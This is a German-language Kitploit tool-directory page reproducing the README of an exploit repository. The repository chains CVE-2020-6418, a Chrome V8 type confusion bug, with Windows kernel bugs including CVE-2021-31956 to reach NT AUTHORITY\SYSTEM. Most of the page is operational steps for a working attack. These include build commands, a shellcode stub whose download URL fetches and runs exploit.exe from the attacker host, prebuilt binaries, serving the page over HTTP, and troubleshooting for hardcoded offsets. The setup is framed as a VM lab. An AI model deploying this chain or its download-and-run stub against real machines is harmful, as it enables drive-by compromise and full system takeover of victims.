Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-6418 — Einzelstufige Exploit-Kette für CVE-2020-6418 (Chrome RCE) kombiniert mit Windows-Privilegieneskalation auf SYSTEM, mit Build-Skripten und vorgefertigten Binärdateien. | Kitploit
Tools/GitHubGitHub/a-mansilla/cve-2020-6418
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationWebanwendungs-ExploitationPayload-EntwicklungBinary-Exploitation
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Einzelstufige Exploit-Kette für CVE-2020-6418 (Chrome RCE) kombiniert mit Windows-Privilegieneskalation auf SYSTEM, mit Build-Skripten und vorgefertigten Binärdateien.

Repository anzeigen
vor 8 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-6418: Chrome-RCE gekoppelt mit einer Windows-Privilege-Escalation

Dieses Repo enthält eine funktionierende, einstufige Exploit-Kette für CVE-2020-6418 (ein Type-Confusion-Fehler im Turbofan-Compiler von V8, der Google Chrome 80.0.3987.87 x64 betrifft). Der Besuch einer bösartigen Seite mit einem verwundbaren Chrome verschafft Ihnen native Codeausführung im Renderer-Prozess. Von dort aus lädt der Exploit eine zweite Binärdatei herunter und startet sie, die zwei weitere Fehler verkettet (eine fehlende Längenprüfung in NtPowerInformation plus CVE-2021-31956, einen Pool- Überlauf in ntfs.sys), um von einem nicht privilegierten Prozess bis hin zu NT AUTHORITY\SYSTEM zu gelangen.

Das Ganze läuft mit einem einzigen Besuch der Seite, ohne manuelle Schritte zwischen dem Browser-Bug und der SYSTEM-Shell.

Die ursprüngliche Anerkennung für den Chrome-Exploit gebührt Clement Lecigne (Bug- Entdeckung, Google TAG) und Istvan Kurucsai / Vignesh S Rao (das ursprüngliche Proof of Concept, das später als Metasploit-Modul ausgeliefert wurde). Wir haben die Metasploit-Abhängigkeiten entfernt und den Auslieferungsmechanismus um einen nativen Downloader herum neu aufgebaut, anstatt das Payload in die Seite einzubetten. Details in browser-exploit/README.md.

Repo-Struktur

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

Was Sie benötigen

Angreifer-Maschine (der „Host“): ein aktuelles Windows mit Visual Studio 2019 oder 2022 (beliebige Edition, Community ist in Ordnung, oder nur die Build Tools), NASM und Python 3. Hier bauen Sie alles und servieren die Exploit-Seite.

Zielmaschine (die „VM“): diese muss exakt übereinstimmen, der Exploit verlässt sich auf hartcodierte Offsets, die nur für diese spezifischen Builds gültig sind.

  • Windows 10 20H1, Build 19041.264 x64. Überprüfen mit winver oder [System.Environment]::OSVersion in PowerShell.
  • Google Chrome 80.0.3987.87 x64 (der Fehler wurde in 80.0.3987.122 behoben, es muss also genau dieser Build oder ein früherer verwundbarer sein). Überprüfen mit chrome://version.
  • Ein Ordner C:\lab8 (kann leer sein, er muss nur existieren).

Wir haben das auf einer VMware-Workstation-VM mit einem Host-Only-Netzwerkadapter getestet, aber jedes Setup, bei dem die VM den Host über HTTP erreichen kann, funktioniert auf dieselbe Weise.

Schnellstart

1. Alles auf dem Host bauen

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Bevor Sie den ersten Build durchführen, öffnen Sie browser-exploit\shellcode\download_and_run_stub.asm und bearbeiten Sie diese zwei Zeilen in der Nähe des Endes:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP ist die IP-Adresse dieser Maschine, wie von der VM aus gesehen (führen Sie ipconfig auf der VM aus und prüfen Sie den Netzwerkadapter, der zu Ihrem Host-Only- oder NAT-Netzwerk passt, oder führen Sie einfach ipconfig auf dem Host aus und verwenden Sie den Adapter im selben Subnetz wie die VM). destination_path sollte dorthin zeigen, wo die EoP-Binärdatei in der VM landen soll, standardmäßig ist es C:\lab8.

Nach der Bearbeitung assemblieren Sie den Stub neu und generieren exploit.html neu (die beiden Befehle aus Schritt 1, wobei der Privilege-Escalation-Build übersprungen wird, da dieser nicht von der IP abhängt).

Wenn Sie für einen schnellen Test die Assembly-Datei nicht anfassen möchten, enthält prebuilt/ bereits eine funktionierende Kopie mit unserer eigenen Test-IP. Sie funktioniert nur, wenn Ihr Netzwerk zufällig passt, daher ist das Erstellen einer eigenen Kopie der zuverlässige Weg.

2. Den Exploit vom Host aus bereitstellen

Legen Sie exploit.html und exploit.exe (das in privilege-escalation/ gebaute) in denselben Ordner, dann:

root@kitploit:~
python -m http.server 8000

exploit.exe muss unter genau der URL erreichbar sein, die Sie oben in download_url eingetragen haben, da der native Stub sie direkt abruft, nicht über den Browser.

Ein kurzer Hinweis zur Host-Firewall: Wenn die VM Port 8000 nicht erreichen kann, liegt es fast immer daran, dass die Windows Defender Firewall die eingehende Verbindung in einem nicht klassifizierten Netzwerk blockiert, oder an einer übrig gebliebenen Regel, die speziell python.exe blockiert (Windows erstellt eine solche manchmal automatisch, wenn eine App zum ersten Mal versucht, eine Verbindung in einem nicht vertrauenswürdigen Netzwerk anzunehmen). Prüfen Sie Get-NetFirewallRule -DisplayName "python.exe" in einer erhöhten PowerShell, wenn Sie darauf stoßen.

3. Die VM einrichten

  • Bestätigen Sie, dass der Windows-Build und die Chrome-Version den Anforderungen oben entsprechen.

  • Erstellen Sie C:\lab8, falls es noch nicht vorhanden ist (leer ist in Ordnung).

  • Wenn dies eine frische VM ist, die noch nie einen echten Boot-Zyklus durchlaufen hat, kann C:\Windows\bootstat.dat fehlen oder leer sein, und der Kernel-Bug benötigt, dass es mit gültigem Inhalt existiert. Falls nötig:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Ausführen

Starten Sie das verwundbare Chrome mit --no-sandbox (dieses PoC enthält keinen Sandbox-Escape, daher muss der Renderer bereits ohne Sandbox laufen, um auf das Dateisystem zugreifen und Prozesse starten zu können) und richten Sie es auf die Seite:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Öffnen Sie DevTools (F12) und prüfen Sie den Konsole-Tab, dort protokolliert der Exploit seinen Fortschritt. Wenn alles zusammenpasst, sollten Sie sehen, wie die Type Confusion gelingt, der Stub die EoP-Binärdatei herunterlädt und startet, und nach ein paar Sekunden ein neues Konsolenfenster, das als NT AUTHORITY\SYSTEM läuft.

Wenn etwas schiefgeht

  • Chrome stürzt ab, anstatt den Exploit auszuführen: fast immer ein Chrome- Build-Konflikt. Die Offsets in exploit_template.html (objleaker_offset, float_carw_elements_offset und die übrigen) sind spezifisch für 80.0.3987.87 x64, sie funktionieren nicht mit einem anderen Build, nicht einmal eine Patch-Version entfernt.
  • Die EoP-Binärdatei öffnet eine Konsole, erreicht aber nie SYSTEM: gleiche Idee, prüfen Sie, ob der Windows-Build exakt 19041.264 ist. Die Kernel-Offsets (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD und die verschiedenen EPROCESS/ETHREAD-Offsets in privilege-escalation/exploit.c) sind für diesen Build hartcodiert.
  • Der Download-Stub scheint nichts abzurufen: Überprüfen Sie, ob download_url in download_and_run_stub.asm mit der Adresse und dem Port übereinstimmt, auf dem der Host tatsächlich bereitstellt, und dass die VM ihn erreichen kann (ein einfaches curl http://YOUR_HOST_IP:8000/exploit.exe von innerhalb der VM ist ein schneller Weg, die Konnektivität zu bestätigen, bevor man dem Exploit die Schuld gibt).

Weitere Details zu jedem Teil, einschließlich warum er so gebaut ist, finden Sie in der README jedes Ordners.

Tool herunterladen